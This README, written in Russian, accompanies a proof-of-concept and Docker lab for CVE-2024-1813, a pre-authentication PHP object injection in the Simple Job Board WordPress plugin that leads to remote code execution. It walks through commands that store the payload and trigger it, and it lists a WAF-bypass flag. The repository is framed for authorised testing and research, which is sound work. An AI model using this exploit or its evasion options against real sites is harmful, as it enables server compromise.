
Полный цикл: гость сохраняет сериализованный PHP-объект через публичную форму приложения, администратор открывает список кандидатов, и цепочка гаджетов создаёт веб-шелл.
Неаутентифицированная инъекция PHP-объектов в WordPress-плагине Simple Job Board (PressTigers). Гость сохраняет сериализованный PHP-объект через публичную форму приложения; когда администратор позже открывает список кандидатов, плагин десериализует его, и сторонняя цепочка гаджетов превращает это в удалённое выполнение кода.
| CVE | CVE-2024-1813 |
| Плагин | Simple Job Board (PressTigers) |
| Уязвимая версия | ≤ 2.11.0 |
| Исправленная версия | 2.11.1 |
| Тип | Инъекция PHP-объектов (небезопасная десериализация) |
| Аутентификация | Не требуется (инъекция до аутентификации) |
| Триггер | Администратор открывает список кандидатов (обычный рабочий процесс) |
| CVSS | 9.8 |
📖 Полное техническое описание: https://mobeta.fr/blog/
Этот репозиторий — сопутствующая лаборатория и PoC. Подробный анализ (первопричина, двойной вызов
unserialize, построение POP-цепочки, обход WAF) описан в статье блога.
.
├── sjb_cve_2024_1813.py # the PoC (builds + sends the payload)
├── LICENSE
└── lab/
├── docker-compose.yml # WordPress + MariaDB + vulnerable plugins
├── setup/setup.sh # one-shot provisioning (wp-cli)
└── trigger_exploit.sh # simulates the admin opening the applicants list
Лаборатория воспроизводит уязвимый стек: WordPress 6.9.4 / PHP 8.3 / MariaDB 10.11 с Simple Job Board 2.10.8 (источник + сток) и All In One SEO 4.5.6 (цепочка гаджетов).
cd lab
docker compose up -d # boot + auto-provision
docker compose logs setup # prints the site URL, admin creds and job_id
Параметры лаборатории по умолчанию: http://localhost:8081, администратор admin / admin123!.
# 1. Store the payload (pre-auth). Replace 4 with the job_id from the setup logs.
python3 sjb_cve_2024_1813.py http://localhost:8081 4 'id > /tmp/RCE_PROOF.txt'
# 2. Fire the sink (plays the admin opening the applicants list).
cd lab && ./trigger_exploit.sh
# 3. Check the result.
docker exec sjb_lab_wp cat /tmp/RCE_PROOF.txt
Полезные флаги PoC:
--print-only - сформировать и вывести отправляемую полезную нагрузку, не создавая сетевого трафика.--field - имя POST-поля (должно содержать name; по умолчанию jobapp_full_name).--int-prefix '+' - вариант префикса длины сериализованных данных для обхода WAF.--proxy http://127.0.0.1:8080 - направлять трафик через Burp.unserialize() / maybe_unserialize() для post_meta; отдавайте предпочтение unserialize($data, ['allowed_classes' => false]).vendor/composer/installed.json, чтобы нельзя было определить версии изолированных библиотек.Только для авторизованного тестирования безопасности и образовательных целей. Никогда не запускайте это против какой-либо системы без явного письменного разрешения её владельца.
MIT - см. LICENSE.